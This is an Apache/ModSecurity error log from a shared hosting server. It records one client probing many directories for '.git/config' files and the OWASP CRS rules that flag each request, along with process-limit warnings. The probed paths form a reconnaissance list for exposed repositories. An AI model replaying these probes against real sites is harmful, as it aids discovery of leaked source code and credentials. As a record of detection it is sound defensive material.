[Fri Jul 17 08:36:34.630976 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almcOkkXT4NBqALj2lZ6WQAAABA"]
[Fri Jul 17 08:36:34.631159 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /dist/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/dist/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s4QAAABI"]
[Fri Jul 17 08:36:34.631387 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/dist/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s4QAAABI"]
[Fri Jul 17 08:36:34.631639 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s4QAAABI"]
[Fri Jul 17 08:36:34.632829 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wordpress/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wordpress/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s4gAAABI"]
[Fri Jul 17 08:36:34.632871 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/build/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6WgAAABA"]
[Fri Jul 17 08:36:34.633104 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wordpress/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s4gAAABI"]
[Fri Jul 17 08:36:34.633153 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/build/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6WgAAABA"]
[Fri Jul 17 08:36:34.633262 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.633275 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.633448 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOkkXT4NBqALj2lZ6WgAAABA"]
[Fri Jul 17 08:36:34.633465 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s4gAAABI"]
[Fri Jul 17 08:36:34.637150 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/admin/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW6AAAAA8"]
[Fri Jul 17 08:36:34.637507 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/admin/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW6AAAAA8"]
[Fri Jul 17 08:36:34.637637 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/build/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s4wAAABI"]
[Fri Jul 17 08:36:34.637677 2026] [hostinglimits:warn] [pid 2018756:tid 2018756] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018756) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.637816 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wp-admin/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6WwAAABA"]
[Fri Jul 17 08:36:34.637863 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/build/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s4wAAABI"]
[Fri Jul 17 08:36:34.637875 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOlj3APi97Jc9pUXW6AAAAA8"]
[Fri Jul 17 08:36:34.638005 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.638147 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s4wAAABI"]
[Fri Jul 17 08:36:34.638180 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wp-admin/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6WwAAABA"]
[Fri Jul 17 08:36:34.638348 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.638534 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOkkXT4NBqALj2lZ6WwAAABA"]
[Fri Jul 17 08:36:34.639035 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /modules/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/modules/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qRwAAABE"]
[Fri Jul 17 08:36:34.639361 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/modules/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qRwAAABE"]
[Fri Jul 17 08:36:34.639534 2026] [hostinglimits:warn] [pid 2018758:tid 2018758] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018758) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.639702 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOoRpm5MObcED3Q9qRwAAABE"]
[Fri Jul 17 08:36:34.657031 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:34.663854 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/api/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qSAAAABE"]
[Fri Jul 17 08:36:34.664259 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/api/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qSAAAABE"]
[Fri Jul 17 08:36:34.664485 2026] [hostinglimits:warn] [pid 2018758:tid 2018758] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018758) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.664713 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOoRpm5MObcED3Q9qSAAAABE"]
[Fri Jul 17 08:36:34.671840 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/src/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6XQAAABA"]
[Fri Jul 17 08:36:34.672201 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/src/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6XQAAABA"]
[Fri Jul 17 08:36:34.672379 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.672590 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOkkXT4NBqALj2lZ6XQAAABA"]
[Fri Jul 17 08:36:34.674021 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:34.681144 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcN1xP5-SsqbGuGB2mJwAAAAA"]
[Fri Jul 17 08:36:34.686448 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /microservices/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/microservices/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mKAAAAAA"]
[Fri Jul 17 08:36:34.686448 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/public/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qSgAAABE"]
[Fri Jul 17 08:36:34.686824 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/microservices/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mKAAAAAA"]
[Fri Jul 17 08:36:34.686824 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/public/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qSgAAABE"]
